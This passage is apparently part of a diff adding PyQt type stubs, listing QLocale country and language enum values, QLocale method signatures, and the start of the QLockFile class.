QLocale.Country + EastTimor = ... # type: QLocale.Country + Ecuador = ... # type: QLocale.Country + Egypt = ... # type: QLocale.Country + ElSalvador = ... # type: QLocale.Country + EquatorialGuinea = ... # type: QLocale.Country + Eritrea = ... # type: QLocale.Country + Estonia = ... # type: QLocale.Country + Ethiopia = ... # type: QLocale.Country + FalklandIslands = ... # type: QLocale.Country + FaroeIslands = ... # type: QLocale.Country + Finland = ... # type: QLocale.Country + France = ... # type: QLocale.Country + FrenchGuiana = ... # type: QLocale.Country + FrenchPolynesia = ... # type: QLocale.Country + FrenchSouthernTerritories = ... # type: QLocale.Country + Gabon = ... # type: QLocale.Country + Gambia = ... # type: QLocale.Country + Georgia = ... # type: QLocale.Country + Germany = ... # type: QLocale.Country + Ghana = ... # type: QLocale.Country + Gibraltar = ... # type: QLocale.Country + Greece = ... # type: QLocale.Country + Greenland = ... # type: QLocale.Country + Grenada = ... # type: QLocale.Country + Guadeloupe = ... # type: QLocale.Country + Guam = ... # type: QLocale.Country + Guatemala = ... # type: QLocale.Country + Guinea = ... # type: QLocale.Country + GuineaBissau = ... # type: QLocale.Country + Guyana = ... # type: QLocale.Country + Haiti = ... # type: QLocale.Country + HeardAndMcDonaldIslands = ... # type: QLocale.Country + Honduras = ... # type: QLocale.Country + HongKong = ... # type: QLocale.Country + Hungary = ... # type: QLocale.Country + Iceland = ... # type: QLocale.Country + India = ... # type: QLocale.Country + Indonesia = ... # type: QLocale.Country + Iran = ... # type: QLocale.Country + Iraq = ... # type: QLocale.Country + Ireland = ... # type: QLocale.Country + Israel = ... # type: QLocale.Country + Italy = ... # type: QLocale.Country + Jamaica = ... # type: QLocale.Country + Japan = ... # type: QLocale.Country + Jordan = ... # type: QLocale.Country + Kazakhstan = ... # type: QLocale.Country + Kenya = ... # type: QLocale.Country + Kiribati = ... # type: QLocale.Country + DemocraticRepublicOfKorea = ... # type: QLocale.Country + RepublicOfKorea = ... # type: QLocale.Country + Kuwait = ... # type: QLocale.Country + Kyrgyzstan = ... # type: QLocale.Country + Latvia = ... # type: QLocale.Country + Lebanon = ... # type: QLocale.Country + Lesotho = ... # type: QLocale.Country + Liberia = ... # type: QLocale.Country + Liechtenstein = ... # type: QLocale.Country + Lithuania = ... # type: QLocale.Country + Luxembourg = ... # type: QLocale.Country + Macau = ... # type: QLocale.Country + Macedonia = ... # type: QLocale.Country + Madagascar = ... # type: QLocale.Country + Malawi = ... # type: QLocale.Country + Malaysia = ... # type: QLocale.Country + Maldives = ... # type: QLocale.Country + Mali = ... # type: QLocale.Country + Malta = ... # type: QLocale.Country + MarshallIslands = ... # type: QLocale.Country + Martinique = ... # type: QLocale.Country + Mauritania = ... # type: QLocale.Country + Mauritius = ... # type: QLocale.Country + Mayotte = ... # type: QLocale.Country + Mexico = ... # type: QLocale.Country + Micronesia = ... # type: QLocale.Country + Moldova = ... # type: QLocale.Country + Monaco = ... # type: QLocale.Country + Mongolia = ... # type: QLocale.Country + Montserrat = ... # type: QLocale.Country + Morocco = ... # type: QLocale.Country + Mozambique = ... # type: QLocale.Country + Myanmar = ... # type: QLocale.Country + Namibia = ... # type: QLocale.Country + NauruCountry = ... # type: QLocale.Country + Nepal = ... # type: QLocale.Country + Netherlands = ... # type: QLocale.Country + NewCaledonia = ... # type: QLocale.Country + NewZealand = ... # type: QLocale.Country + Nicaragua = ... # type: QLocale.Country + Niger = ... # type: QLocale.Country + Nigeria = ... # type: QLocale.Country + Niue = ... # type: QLocale.Country + NorfolkIsland = ... # type: QLocale.Country + NorthernMarianaIslands = ... # type: QLocale.Country + Norway = ... # type: QLocale.Country + Oman = ... # type: QLocale.Country + Pakistan = ... # type: QLocale.Country + Palau = ... # type: QLocale.Country + Panama = ... # type: QLocale.Country + PapuaNewGuinea = ... # type: QLocale.Country + Paraguay = ... # type: QLocale.Country + Peru = ... # type: QLocale.Country + Philippines = ... # type: QLocale.Country + Pitcairn = ... # type: QLocale.Country + Poland = ... # type: QLocale.Country + Portugal = ... # type: QLocale.Country + PuertoRico = ... # type: QLocale.Country + Qatar = ... # type: QLocale.Country + Reunion = ... # type: QLocale.Country + Romania = ... # type: QLocale.Country + RussianFederation = ... # type: QLocale.Country + Rwanda = ... # type: QLocale.Country + SaintKittsAndNevis = ... # type: QLocale.Country + Samoa = ... # type: QLocale.Country + SanMarino = ... # type: QLocale.Country + SaoTomeAndPrincipe = ... # type: QLocale.Country + SaudiArabia = ... # type: QLocale.Country + Senegal = ... # type: QLocale.Country + Seychelles = ... # type: QLocale.Country + SierraLeone = ... # type: QLocale.Country + Singapore = ... # type: QLocale.Country + Slovakia = ... # type: QLocale.Country + Slovenia = ... # type: QLocale.Country + SolomonIslands = ... # type: QLocale.Country + Somalia = ... # type: QLocale.Country + SouthAfrica = ... # type: QLocale.Country + SouthGeorgiaAndTheSouthSandwichIslands = ... # type: QLocale.Country + Spain = ... # type: QLocale.Country + SriLanka = ... # type: QLocale.Country + Sudan = ... # type: QLocale.Country + Suriname = ... # type: QLocale.Country + SvalbardAndJanMayenIslands = ... # type: QLocale.Country + Swaziland = ... # type: QLocale.Country + Sweden = ... # type: QLocale.Country + Switzerland = ... # type: QLocale.Country + SyrianArabRepublic = ... # type: QLocale.Country + Taiwan = ... # type: QLocale.Country + Tajikistan = ... # type: QLocale.Country + Tanzania = ... # type: QLocale.Country + Thailand = ... # type: QLocale.Country + Togo = ... # type: QLocale.Country + Tokelau = ... # type: QLocale.Country + TrinidadAndTobago = ... # type: QLocale.Country + Tunisia = ... # type: QLocale.Country + Turkey = ... # type: QLocale.Country + Turkmenistan = ... # type: QLocale.Country + TurksAndCaicosIslands = ... # type: QLocale.Country + Tuvalu = ... # type: QLocale.Country + Uganda = ... # type: QLocale.Country + Ukraine = ... # type: QLocale.Country + UnitedArabEmirates = ... # type: QLocale.Country + UnitedKingdom = ... # type: QLocale.Country + UnitedStates = ... # type: QLocale.Country + UnitedStatesMinorOutlyingIslands = ... # type: QLocale.Country + Uruguay = ... # type: QLocale.Country + Uzbekistan = ... # type: QLocale.Country + Vanuatu = ... # type: QLocale.Country + VaticanCityState = ... # type: QLocale.Country + Venezuela = ... # type: QLocale.Country + BritishVirginIslands = ... # type: QLocale.Country + WallisAndFutunaIslands = ... # type: QLocale.Country + WesternSahara = ... # type: QLocale.Country + Yemen = ... # type: QLocale.Country + Zambia = ... # type: QLocale.Country + Zimbabwe = ... # type: QLocale.Country + Montenegro = ... # type: QLocale.Country + Serbia = ... # type: QLocale.Country + SaintBarthelemy = ... # type: QLocale.Country + SaintMartin = ... # type: QLocale.Country + LatinAmericaAndTheCaribbean = ... # type: QLocale.Country + LastCountry = ... # type: QLocale.Country + Brunei = ... # type: QLocale.Country + CongoKinshasa = ... # type: QLocale.Country + CongoBrazzaville = ... # type: QLocale.Country + Fiji = ... # type: QLocale.Country + Guernsey = ... # type: QLocale.Country + NorthKorea = ... # type: QLocale.Country + SouthKorea = ... # type: QLocale.Country + Laos = ... # type: QLocale.Country + Libya = ... # type: QLocale.Country + CuraSao = ... # type: QLocale.Country + PalestinianTerritories = ... # type: QLocale.Country + Russia = ... # type: QLocale.Country + SaintLucia = ... # type: QLocale.Country + SaintVincentAndTheGrenadines = ... # type: QLocale.Country + SaintHelena = ... # type: QLocale.Country + SaintPierreAndMiquelon = ... # type: QLocale.Country + Syria = ... # type: QLocale.Country + Tonga = ... # type: QLocale.Country + Vietnam = ... # type: QLocale.Country + UnitedStatesVirginIslands = ... # type: QLocale.Country + CanaryIslands = ... # type: QLocale.Country + ClippertonIsland = ... # type: QLocale.Country + AscensionIsland = ... # type: QLocale.Country + AlandIslands = ... # type: QLocale.Country + DiegoGarcia = ... # type: QLocale.Country + CeutaAndMelilla = ... # type: QLocale.Country + IsleOfMan = ... # type: QLocale.Country + Jersey = ... # type: QLocale.Country + TristanDaCunha = ... # type: QLocale.Country + SouthSudan = ... # type: QLocale.Country + Bonaire = ... # type: QLocale.Country + SintMaarten = ... # type: QLocale.Country + Kosovo = ... # type: QLocale.Country + TokelauCountry = ... # type: QLocale.Country + TuvaluCountry = ... # type: QLocale.Country + EuropeanUnion = ... # type: QLocale.Country + OutlyingOceania = ... # type: QLocale.Country + LatinAmerica = ... # type: QLocale.Country + World = ... # type: QLocale.Country + Europe = ... # type: QLocale.Country + + class Language(int): + C = ... # type: QLocale.Language + Abkhazian = ... # type: QLocale.Language + Afan = ... # type: QLocale.Language + Afar = ... # type: QLocale.Language + Afrikaans = ... # type: QLocale.Language + Albanian = ... # type: QLocale.Language + Amharic = ... # type: QLocale.Language + Arabic = ... # type: QLocale.Language + Armenian = ... # type: QLocale.Language + Assamese = ... # type: QLocale.Language + Aymara = ... # type: QLocale.Language + Azerbaijani = ... # type: QLocale.Language + Bashkir = ... # type: QLocale.Language + Basque = ... # type: QLocale.Language + Bengali = ... # type: QLocale.Language + Bhutani = ... # type: QLocale.Language + Bihari = ... # type: QLocale.Language + Bislama = ... # type: QLocale.Language + Breton = ... # type: QLocale.Language + Bulgarian = ... # type: QLocale.Language + Burmese = ... # type: QLocale.Language + Byelorussian = ... # type: QLocale.Language + Cambodian = ... # type: QLocale.Language + Catalan = ... # type: QLocale.Language + Chinese = ... # type: QLocale.Language + Corsican = ... # type: QLocale.Language + Croatian = ... # type: QLocale.Language + Czech = ... # type: QLocale.Language + Danish = ... # type: QLocale.Language + Dutch = ... # type: QLocale.Language + English = ... # type: QLocale.Language + Esperanto = ... # type: QLocale.Language + Estonian = ... # type: QLocale.Language + Faroese = ... # type: QLocale.Language + Finnish = ... # type: QLocale.Language + French = ... # type: QLocale.Language + Frisian = ... # type: QLocale.Language + Gaelic = ... # type: QLocale.Language + Galician = ... # type: QLocale.Language + Georgian = ... # type: QLocale.Language + German = ... # type: QLocale.Language + Greek = ... # type: QLocale.Language + Greenlandic = ... # type: QLocale.Language + Guarani = ... # type: QLocale.Language + Gujarati = ... # type: QLocale.Language + Hausa = ... # type: QLocale.Language + Hebrew = ... # type: QLocale.Language + Hindi = ... # type: QLocale.Language + Hungarian = ... # type: QLocale.Language + Icelandic = ... # type: QLocale.Language + Indonesian = ... # type: QLocale.Language + Interlingua = ... # type: QLocale.Language + Interlingue = ... # type: QLocale.Language + Inuktitut = ... # type: QLocale.Language + Inupiak = ... # type: QLocale.Language + Irish = ... # type: QLocale.Language + Italian = ... # type: QLocale.Language + Japanese = ... # type: QLocale.Language + Javanese = ... # type: QLocale.Language + Kannada = ... # type: QLocale.Language + Kashmiri = ... # type: QLocale.Language + Kazakh = ... # type: QLocale.Language + Kinyarwanda = ... # type: QLocale.Language + Kirghiz = ... # type: QLocale.Language + Korean = ... # type: QLocale.Language + Kurdish = ... # type: QLocale.Language + Kurundi = ... # type: QLocale.Language + Latin = ... # type: QLocale.Language + Latvian = ... # type: QLocale.Language + Lingala = ... # type: QLocale.Language + Lithuanian = ... # type: QLocale.Language + Macedonian = ... # type: QLocale.Language + Malagasy = ... # type: QLocale.Language + Malay = ... # type: QLocale.Language + Malayalam = ... # type: QLocale.Language + Maltese = ... # type: QLocale.Language + Maori = ... # type: QLocale.Language + Marathi = ... # type: QLocale.Language + Moldavian = ... # type: QLocale.Language + Mongolian = ... # type: QLocale.Language + NauruLanguage = ... # type: QLocale.Language + Nepali = ... # type: QLocale.Language + Norwegian = ... # type: QLocale.Language + Occitan = ... # type: QLocale.Language + Oriya = ... # type: QLocale.Language + Pashto = ... # type: QLocale.Language + Persian = ... # type: QLocale.Language + Polish = ... # type: QLocale.Language + Portuguese = ... # type: QLocale.Language + Punjabi = ... # type: QLocale.Language + Quechua = ... # type: QLocale.Language + RhaetoRomance = ... # type: QLocale.Language + Romanian = ... # type: QLocale.Language + Russian = ... # type: QLocale.Language + Samoan = ... # type: QLocale.Language + Sanskrit = ... # type: QLocale.Language + Serbian = ... # type: QLocale.Language + SerboCroatian = ... # type: QLocale.Language + Shona = ... # type: QLocale.Language + Sindhi = ... # type: QLocale.Language + Slovak = ... # type: QLocale.Language + Slovenian = ... # type: QLocale.Language + Somali = ... # type: QLocale.Language + Spanish = ... # type: QLocale.Language + Sundanese = ... # type: QLocale.Language + Swahili = ... # type: QLocale.Language + Swedish = ... # type: QLocale.Language + Tagalog = ... # type: QLocale.Language + Tajik = ... # type: QLocale.Language + Tamil = ... # type: QLocale.Language + Tatar = ... # type: QLocale.Language + Telugu = ... # type: QLocale.Language + Thai = ... # type: QLocale.Language + Tibetan = ... # type: QLocale.Language + Tigrinya = ... # type: QLocale.Language + Tsonga = ... # type: QLocale.Language + Turkish = ... # type: QLocale.Language + Turkmen = ... # type: QLocale.Language + Twi = ... # type: QLocale.Language + Uigur = ... # type: QLocale.Language + Ukrainian = ... # type: QLocale.Language + Urdu = ... # type: QLocale.Language + Uzbek = ... # type: QLocale.Language + Vietnamese = ... # type: QLocale.Language + Volapuk = ... # type: QLocale.Language + Welsh = ... # type: QLocale.Language + Wolof = ... # type: QLocale.Language + Xhosa = ... # type: QLocale.Language + Yiddish = ... # type: QLocale.Language + Yoruba = ... # type: QLocale.Language + Zhuang = ... # type: QLocale.Language + Zulu = ... # type: QLocale.Language + Bosnian = ... # type: QLocale.Language + Divehi = ... # type: QLocale.Language + Manx = ... # type: QLocale.Language + Cornish = ... # type: QLocale.Language + LastLanguage = ... # type: QLocale.Language + NorwegianBokmal = ... # type: QLocale.Language + NorwegianNynorsk = ... # type: QLocale.Language + Akan = ... # type: QLocale.Language + Konkani = ... # type: QLocale.Language + Ga = ... # type: QLocale.Language + Igbo = ... # type: QLocale.Language + Kamba = ... # type: QLocale.Language + Syriac = ... # type: QLocale.Language + Blin = ... # type: QLocale.Language + Geez = ... # type: QLocale.Language + Koro = ... # type: QLocale.Language + Sidamo = ... # type: QLocale.Language + Atsam = ... # type: QLocale.Language + Tigre = ... # type: QLocale.Language + Jju = ... # type: QLocale.Language + Friulian = ... # type: QLocale.Language + Venda = ... # type: QLocale.Language + Ewe = ... # type: QLocale.Language + Walamo = ... # type: QLocale.Language + Hawaiian = ... # type: QLocale.Language + Tyap = ... # type: QLocale.Language + Chewa = ... # type: QLocale.Language + Filipino = ... # type: QLocale.Language + SwissGerman = ... # type: QLocale.Language + SichuanYi = ... # type: QLocale.Language + Kpelle = ... # type: QLocale.Language + LowGerman = ... # type: QLocale.Language + SouthNdebele = ... # type: QLocale.Language + NorthernSotho = ... # type: QLocale.Language + NorthernSami = ... # type: QLocale.Language + Taroko = ... # type: QLocale.Language + Gusii = ... # type: QLocale.Language + Taita = ... # type: QLocale.Language + Fulah = ... # type: QLocale.Language + Kikuyu = ... # type: QLocale.Language + Samburu = ... # type: QLocale.Language + Sena = ... # type: QLocale.Language + NorthNdebele = ... # type: QLocale.Language + Rombo = ... # type: QLocale.Language + Tachelhit = ... # type: QLocale.Language + Kabyle = ... # type: QLocale.Language + Nyankole = ... # type: QLocale.Language + Bena = ... # type: QLocale.Language + Vunjo = ... # type: QLocale.Language + Bambara = ... # type: QLocale.Language + Embu = ... # type: QLocale.Language + Cherokee = ... # type: QLocale.Language + Morisyen = ... # type: QLocale.Language + Makonde = ... # type: QLocale.Language + Langi = ... # type: QLocale.Language + Ganda = ... # type: QLocale.Language + Bemba = ... # type: QLocale.Language + Kabuverdianu = ... # type: QLocale.Language + Meru = ... # type: QLocale.Language + Kalenjin = ... # type: QLocale.Language + Nama = ... # type: QLocale.Language + Machame = ... # type: QLocale.Language + Colognian = ... # type: QLocale.Language + Masai = ... # type: QLocale.Language + Soga = ... # type: QLocale.Language + Luyia = ... # type: QLocale.Language + Asu = ... # type: QLocale.Language + Teso = ... # type: QLocale.Language + Saho = ... # type: QLocale.Language + KoyraChiini = ... # type: QLocale.Language + Rwa = ... # type: QLocale.Language + Luo = ... # type: QLocale.Language + Chiga = ... # type: QLocale.Language + CentralMoroccoTamazight = ... # type: QLocale.Language + KoyraboroSenni = ... # type: QLocale.Language + Shambala = ... # type: QLocale.Language + AnyLanguage = ... # type: QLocale.Language + Rundi = ... # type: QLocale.Language + Bodo = ... # type: QLocale.Language + Aghem = ... # type: QLocale.Language + Basaa = ... # type: QLocale.Language + Zarma = ... # type: QLocale.Language + Duala = ... # type: QLocale.Language + JolaFonyi = ... # type: QLocale.Language + Ewondo = ... # type: QLocale.Language + Bafia = ... # type: QLocale.Language + LubaKatanga = ... # type: QLocale.Language + MakhuwaMeetto = ... # type: QLocale.Language + Mundang = ... # type: QLocale.Language + Kwasio = ... # type: QLocale.Language + Nuer = ... # type: QLocale.Language + Sakha = ... # type: QLocale.Language + Sangu = ... # type: QLocale.Language + CongoSwahili = ... # type: QLocale.Language + Tasawaq = ... # type: QLocale.Language + Vai = ... # type: QLocale.Language + Walser = ... # type: QLocale.Language + Yangben = ... # type: QLocale.Language + Oromo = ... # type: QLocale.Language + Dzongkha = ... # type: QLocale.Language + Belarusian = ... # type: QLocale.Language + Khmer = ... # type: QLocale.Language + Fijian = ... # type: QLocale.Language + WesternFrisian = ... # type: QLocale.Language + Lao = ... # type: QLocale.Language + Marshallese = ... # type: QLocale.Language + Romansh = ... # type: QLocale.Language + Sango = ... # type: QLocale.Language + Ossetic = ... # type: QLocale.Language + SouthernSotho = ... # type: QLocale.Language + Tswana = ... # type: QLocale.Language + Sinhala = ... # type: QLocale.Language + Swati = ... # type: QLocale.Language + Sardinian = ... # type: QLocale.Language + Tongan = ... # type: QLocale.Language + Tahitian = ... # type: QLocale.Language + Nyanja = ... # type: QLocale.Language + Avaric = ... # type: QLocale.Language + Chamorro = ... # type: QLocale.Language + Chechen = ... # type: QLocale.Language + Church = ... # type: QLocale.Language + Chuvash = ... # type: QLocale.Language + Cree = ... # type: QLocale.Language + Haitian = ... # type: QLocale.Language + Herero = ... # type: QLocale.Language + HiriMotu = ... # type: QLocale.Language + Kanuri = ... # type: QLocale.Language + Komi = ... # type: QLocale.Language + Kongo = ... # type: QLocale.Language + Kwanyama = ... # type: QLocale.Language + Limburgish = ... # type: QLocale.Language + Luxembourgish = ... # type: QLocale.Language + Navaho = ... # type: QLocale.Language + Ndonga = ... # type: QLocale.Language + Ojibwa = ... # type: QLocale.Language + Pali = ... # type: QLocale.Language + Walloon = ... # type: QLocale.Language + Avestan = ... # type: QLocale.Language + Asturian = ... # type: QLocale.Language + Ngomba = ... # type: QLocale.Language + Kako = ... # type: QLocale.Language + Meta = ... # type: QLocale.Language + Ngiemboon = ... # type: QLocale.Language + Uighur = ... # type: QLocale.Language + Aragonese = ... # type: QLocale.Language + Akkadian = ... # type: QLocale.Language + AncientEgyptian = ... # type: QLocale.Language + AncientGreek = ... # type: QLocale.Language + Aramaic = ... # type: QLocale.Language + Balinese = ... # type: QLocale.Language + Bamun = ... # type: QLocale.Language + BatakToba = ... # type: QLocale.Language + Buginese = ... # type: QLocale.Language + Buhid = ... # type: QLocale.Language + Carian = ... # type: QLocale.Language + Chakma = ... # type: QLocale.Language + ClassicalMandaic = ... # type: QLocale.Language + Coptic = ... # type: QLocale.Language + Dogri = ... # type: QLocale.Language + EasternCham = ... # type: QLocale.Language + EasternKayah = ... # type: QLocale.Language + Etruscan = ... # type: QLocale.Language + Gothic = ... # type: QLocale.Language + Hanunoo = ... # type: QLocale.Language + Ingush = ... # type: QLocale.Language + LargeFloweryMiao = ... # type: QLocale.Language + Lepcha = ... # type: QLocale.Language + Limbu = ... # type: QLocale.Language + Lisu = ... # type: QLocale.Language + Lu = ... # type: QLocale.Language + Lycian = ... # type: QLocale.Language + Lydian = ... # type: QLocale.Language + Mandingo = ... # type: QLocale.Language + Manipuri = ... # type: QLocale.Language + Meroitic = ... # type: QLocale.Language + NorthernThai = ... # type: QLocale.Language + OldIrish = ... # type: QLocale.Language + OldNorse = ... # type: QLocale.Language + OldPersian = ... # type: QLocale.Language + OldTurkish = ... # type: QLocale.Language + Pahlavi = ... # type: QLocale.Language + Parthian = ... # type: QLocale.Language + Phoenician = ... # type: QLocale.Language + PrakritLanguage = ... # type: QLocale.Language + Rejang = ... # type: QLocale.Language + Sabaean = ... # type: QLocale.Language + Samaritan = ... # type: QLocale.Language + Santali = ... # type: QLocale.Language + Saurashtra = ... # type: QLocale.Language + Sora = ... # type: QLocale.Language + Sylheti = ... # type: QLocale.Language + Tagbanwa = ... # type: QLocale.Language + TaiDam = ... # type: QLocale.Language + TaiNua = ... # type: QLocale.Language + Ugaritic = ... # type: QLocale.Language + Akoose = ... # type: QLocale.Language + Lakota = ... # type: QLocale.Language + StandardMoroccanTamazight = ... # type: QLocale.Language + Mapuche = ... # type: QLocale.Language + CentralKurdish = ... # type: QLocale.Language + LowerSorbian = ... # type: QLocale.Language + UpperSorbian = ... # type: QLocale.Language + Kenyang = ... # type: QLocale.Language + Mohawk = ... # type: QLocale.Language + Nko = ... # type: QLocale.Language + Prussian = ... # type: QLocale.Language + Kiche = ... # type: QLocale.Language + SouthernSami = ... # type: QLocale.Language + LuleSami = ... # type: QLocale.Language + InariSami = ... # type: QLocale.Language + SkoltSami = ... # type: QLocale.Language + Warlpiri = ... # type: QLocale.Language + ManichaeanMiddlePersian = ... # type: QLocale.Language + Mende = ... # type: QLocale.Language + AncientNorthArabian = ... # type: QLocale.Language + LinearA = ... # type: QLocale.Language + HmongNjua = ... # type: QLocale.Language + Ho = ... # type: QLocale.Language + Lezghian = ... # type: QLocale.Language + Bassa = ... # type: QLocale.Language + Mono = ... # type: QLocale.Language + TedimChin = ... # type: QLocale.Language + Maithili = ... # type: QLocale.Language + Ahom = ... # type: QLocale.Language + AmericanSignLanguage = ... # type: QLocale.Language + ArdhamagadhiPrakrit = ... # type: QLocale.Language + Bhojpuri = ... # type: QLocale.Language + HieroglyphicLuwian = ... # type: QLocale.Language + LiteraryChinese = ... # type: QLocale.Language + Mazanderani = ... # type: QLocale.Language + Mru = ... # type: QLocale.Language + Newari = ... # type: QLocale.Language + NorthernLuri = ... # type: QLocale.Language + Palauan = ... # type: QLocale.Language + Papiamento = ... # type: QLocale.Language + Saraiki = ... # type: QLocale.Language + TokelauLanguage = ... # type: QLocale.Language + TokPisin = ... # type: QLocale.Language + TuvaluLanguage = ... # type: QLocale.Language + UncodedLanguages = ... # type: QLocale.Language + Cantonese = ... # type: QLocale.Language + Osage = ... # type: QLocale.Language + Tangut = ... # type: QLocale.Language + Ido = ... # type: QLocale.Language + Lojban = ... # type: QLocale.Language + Sicilian = ... # type: QLocale.Language + SouthernKurdish = ... # type: QLocale.Language + WesternBalochi = ... # type: QLocale.Language + Cebuano = ... # type: QLocale.Language + Erzya = ... # type: QLocale.Language + Chickasaw = ... # type: QLocale.Language + Muscogee = ... # type: QLocale.Language + Silesian = ... # type: QLocale.Language + + class NumberOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QLocale.NumberOptions', 'QLocale.NumberOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QLocale.NumberOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QLocale.NumberOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class DataSizeFormats(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QLocale.DataSizeFormats', 'QLocale.DataSizeFormat']) -> None: ... + @typing.overload + def __init__(self, a0: 'QLocale.DataSizeFormats') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QLocale.DataSizeFormats': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, language: 'QLocale.Language', country: 'QLocale.Country' = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QLocale') -> None: ... + @typing.overload + def __init__(self, language: 'QLocale.Language', script: 'QLocale.Script', country: 'QLocale.Country') -> None: ... + + def collation(self) -> 'QLocale': ... + def toULong(self, s: str) -> typing.Tuple[int, bool]: ... + def toLong(self, s: str) -> typing.Tuple[int, bool]: ... + def formattedDataSize(self, bytes: int, precision: int = ..., format: typing.Union['QLocale.DataSizeFormats', 'QLocale.DataSizeFormat'] = ...) -> str: ... + def swap(self, other: 'QLocale') -> None: ... + def __hash__(self) -> int: ... + def createSeparatedList(self, list: typing.Iterable[str]) -> str: ... + def quoteString(self, str: str, style: 'QLocale.QuotationStyle' = ...) -> str: ... + @staticmethod + def matchingLocales(language: 'QLocale.Language', script: 'QLocale.Script', country: 'QLocale.Country') -> typing.List['QLocale']: ... + @staticmethod + def scriptToString(script: 'QLocale.Script') -> str: ... + def uiLanguages(self) -> typing.List[str]: ... + @typing.overload + def toCurrencyString(self, value: float, symbol: str = ...) -> str: ... + @typing.overload + def toCurrencyString(self, value: float, symbol: str, precision: int) -> str: ... + @typing.overload + def toCurrencyString(self, value: int, symbol: str = ...) -> str: ... + def currencySymbol(self, format: 'QLocale.CurrencySymbolFormat' = ...) -> str: ... + def toLower(self, str: str) -> str: ... + def toUpper(self, str: str) -> str: ... + def weekdays(self) -> typing.List[Qt.DayOfWeek]: ... + def firstDayOfWeek(self) -> Qt.DayOfWeek: ... + def nativeCountryName(self) -> str: ... + def nativeLanguageName(self) -> str: ... + def bcp47Name(self) -> str: ... + def script(self) -> 'QLocale.Script': ... + def textDirection(self) -> Qt.LayoutDirection: ... + def pmText(self) -> str: ... + def amText(self) -> str: ... + def standaloneDayName(self, a0: int, format: 'QLocale.FormatType' = ...) -> str: ... + def standaloneMonthName(self, a0: int, format: 'QLocale.FormatType' = ...) -> str: ... + def positiveSign(self) -> str: ... + def measurementSystem(self) -> 'QLocale.MeasurementSystem': ... + def numberOptions(self) -> 'QLocale.NumberOptions': ... + def setNumberOptions(self, options: typing.Union['QLocale.NumberOptions', 'QLocale.NumberOption']) -> None: ... + def dayName(self, a0: int, format: 'QLocale.FormatType' = ...) -> str: ... + def monthName(self, a0: int, format: 'QLocale.FormatType' = ...) -> str: ... + def exponential(self) -> str: ... + def negativeSign(self) -> str: ... + def zeroDigit(self) -> str: ... + def percent(self) -> str: ... + def groupSeparator(self) -> str: ... + def decimalPoint(self) -> str: ... + @typing.overload + def toDateTime(self, string: str, format: 'QLocale.FormatType' = ...) -> QDateTime: ... + @typing.overload + def toDateTime(self, string: str, format: str) -> QDateTime: ... + @typing.overload + def toDateTime(self, string: str, format: 'QLocale.FormatType', cal: QCalendar) -> QDateTime: ... + @typing.overload + def toDateTime(self, string: str, format: str, cal: QCalendar) -> QDateTime: ... + @typing.overload + def toTime(self, string: str, format: 'QLocale.FormatType' = ...) -> QTime: ... + @typing.overload + def toTime(self, string: str, format: str) -> QTime: ... + @typing.overload + def toTime(self, string: str, format: 'QLocale.FormatType', cal: QCalendar) -> QTime: ... + @typing.overload + def toTime(self, string: str, format: str, cal: QCalendar) -> QTime: ... + @typing.overload + def toDate(self, string: str, format: 'QLocale.FormatType' = ...) -> QDate: ... + @typing.overload + def toDate(self, string: str, format: str) -> QDate: ... + @typing.overload + def toDate(self, string: str, format: 'QLocale.FormatType', cal: QCalendar) -> QDate: ... + @typing.overload + def toDate(self, string: str, format: str, cal: QCalendar) -> QDate: ... + def dateTimeFormat(self, format: 'QLocale.FormatType' = ...) -> str: ... + def timeFormat(self, format: 'QLocale.FormatType' = ...) -> str: ... + def dateFormat(self, format: 'QLocale.FormatType' = ...) -> str: ... + @staticmethod + def system() -> 'QLocale': ... + @staticmethod + def c() -> 'QLocale': ... + @staticmethod + def setDefault(locale: 'QLocale') -> None: ... + @staticmethod + def countryToString(country: 'QLocale.Country') -> str: ... + @staticmethod + def languageToString(language: 'QLocale.Language') -> str: ... + @typing.overload + def toString(self, i: float, format: str = ..., precision: int = ...) -> str: ... + @typing.overload + def toString(self, dateTime: typing.Union[QDateTime, datetime.datetime], format: str) -> str: ... + @typing.overload + def toString(self, dateTime: typing.Union[QDateTime, datetime.datetime], formatStr: str, cal: QCalendar) -> str: ... + @typing.overload + def toString(self, dateTime: typing.Union[QDateTime, datetime.datetime], format: 'QLocale.FormatType' = ...) -> str: ... + @typing.overload + def toString(self, dateTime: typing.Union[QDateTime, datetime.datetime], format: 'QLocale.FormatType', cal: QCalendar) -> str: ... + @typing.overload + def toString(self, date: typing.Union[QDate, datetime.date], formatStr: str) -> str: ... + @typing.overload + def toString(self, date: typing.Union[QDate, datetime.date], formatStr: str, cal: QCalendar) -> str: ... + @typing.overload + def toString(self, date: typing.Union[QDate, datetime.date], format: 'QLocale.FormatType' = ...) -> str: ... + @typing.overload + def toString(self, date: typing.Union[QDate, datetime.date], format: 'QLocale.FormatType', cal: QCalendar) -> str: ... + @typing.overload + def toString(self, time: typing.Union[QTime, datetime.time], formatStr: str) -> str: ... + @typing.overload + def toString(self, time: typing.Union[QTime, datetime.time], format: 'QLocale.FormatType' = ...) -> str: ... + @typing.overload + def toString(self, i: int) -> str: ... + def toDouble(self, s: str) -> typing.Tuple[float, bool]: ... + def toFloat(self, s: str) -> typing.Tuple[float, bool]: ... + def toULongLong(self, s: str) -> typing.Tuple[int, bool]: ... + def toLongLong(self, s: str) -> typing.Tuple[int, bool]: ... + def toUInt(self, s: str) -> typing.Tuple[int, bool]: ... + def toInt(self, s: str) -> typing.Tuple[int, bool]: ... + def toUShort(self, s: str) -> typing.Tuple[int, bool]: ... + def toShort(self, s: str) -> typing.Tuple[int, bool]: ... + def name(self) -> str: ... + def country(self) -> 'QLocale.Country': ... + def language(self) -> 'QLocale.Language': ... + + +class QLockFile(sip.simplewrapper): + + class LockError(int): + NoError = ... # type: QLockFile.LockError + LockFailedError = ... # type: QLockFile.LockError + PermissionError = ... # type: QLockFile.LockError + UnknownError = ... # type: QLockFile.LockError + + def __init__(self, fileName: str) -> None: 